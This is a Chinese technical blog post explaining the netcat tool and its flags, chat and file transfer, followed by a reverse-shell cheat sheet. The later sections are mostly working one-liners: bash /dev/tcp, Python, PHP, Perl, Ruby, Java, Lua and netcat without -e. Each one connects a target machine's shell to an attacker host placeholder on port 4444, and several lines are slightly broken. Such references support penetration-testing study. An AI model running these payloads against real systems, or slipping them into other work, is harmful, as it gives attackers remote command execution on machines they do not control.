首页 > 技术文章 > nc弹shell

Shepherd-boy 2021-05-24 12:04 原文

1、nc的概念

1.什么是nc

nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具

2.nc的作用

(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口

(2)端口的扫描,nc可以作为client发起TCP或UDP连接

 

(3)机器之间传输文件

 

(4)机器之间网络测速

 

2、nc命令参数说明

1) -l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
2) -p <port>
指定端口,暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
3) -s 
指定发送数据的源IP地址,适用于多网卡机 
4) -u
 指定nc使用UDP协议,默认为TCP
5) -v
输出交互或出错信息,新手调试时尤为有用
6)-w
超时秒数,后面跟数字 
7)-z
表示zero,表示扫描时不发送任何数据

 3、nc建立CS端

1.nc实现消息共享

服务端启动监听

nc -l 4444

 客户端进行连接

nc IP 4444

       

 

 

 客户端与服务端实现消息共享,即客户端的输入服务端可见,服务端的输入客户端可见。

2. NC实现文件传输

和局域网聊天是原理一样的,不过把输入输出重定向到文件

服务端设置监听

nc -l 9999 > recv.txt

 客户端发送:

nc IP 9999 < send.txt

 注:服务端和客户端都可做为接收端和发送端,发送端必须要有文件,接收端可以不创建文件,当接受端不创建文件时,会自动创建并将发送端地内容保存到文件,如果已存在文件将会覆盖其中内容

4. 正向反弹shell

在服务端(靶标机)启动监听

nc -lvvp 4444 -e /bin/bash

在客户端(攻击机)连接

nc IP 4444

这种连接又称正向连接,攻击机主动连接靶标机。

        

 

 连接成功后便可执行命令。

5、反向反弹shell

1.bash版本

本地作为服务端开启监听(攻击机)

nc -lvnp 4444
或nc -vvlp 4444

目标机开启反弹

bash -i >& /dev/tcp/IP/4444 0>&1
bash -i            创建一个交互式的bash shell
&>                 将标准输出和标准错误都重定向到我们指定的文件
/dev/tcp/IP/4444   建立连接到IP的4444端口
0>&1               将文件描述符0重定向为文件描述符1,也就是标准输入被重定向为标准输出

 

 2.python 反弹

本地作为服务器开启监听

nc -lvvp 444

靶标作为客户端开启反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

 

 3.nc反弹

本地作为服务器开启监听

nc -lvvp 4444

 

靶标机作为客户端反弹shell

nc -e /bin/bash IP 4444

 

 

 

 4. php反弹

本地作为服务器开启监听

nc -lvnp 4444

靶标机作为客户端反弹shell

php- 'exec("/bin/bash -i >& /dev/tcp/ip/4444")'
或
php -r '$sock=fsockopen("IP",4444);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

 

 5、perl反弹

本地作为服务器开启监听

nc -lvvp 4444

 

 靶标机作为客户端反弹shell

perl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

 6、ruby反弹

本地作为服务器开启监听端口

nc -lvvp 4444

靶标作为客户端反弹shell

ruby -rsocket -e'f=TCPSocket.open("IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

7.Java反弹

本地作为服务器开启监听端口

nc -lvvp 4444

靶标作为客户端反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

8.lua版本

本地作为服务器开启监听端口

nc -lvvp 4444

靶标作为客户端反弹shell

lua -e "require('socket');require('os');t=socket.tcp();t:connect('IP','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

9.nc不使用-e参数反弹

本地作为服务器开启监听端口

nc -lvvp 4444

靶标作为客户端反弹shell

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc IP 4444 1>/tmp/backpipe
/bin/bash -i > /dev/tcp/IP/4444 0<&1 2>&1
mknod backpipe p && telnet IP 4444 0backpipe

 

 

 

 

 

 

 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

 

推荐阅读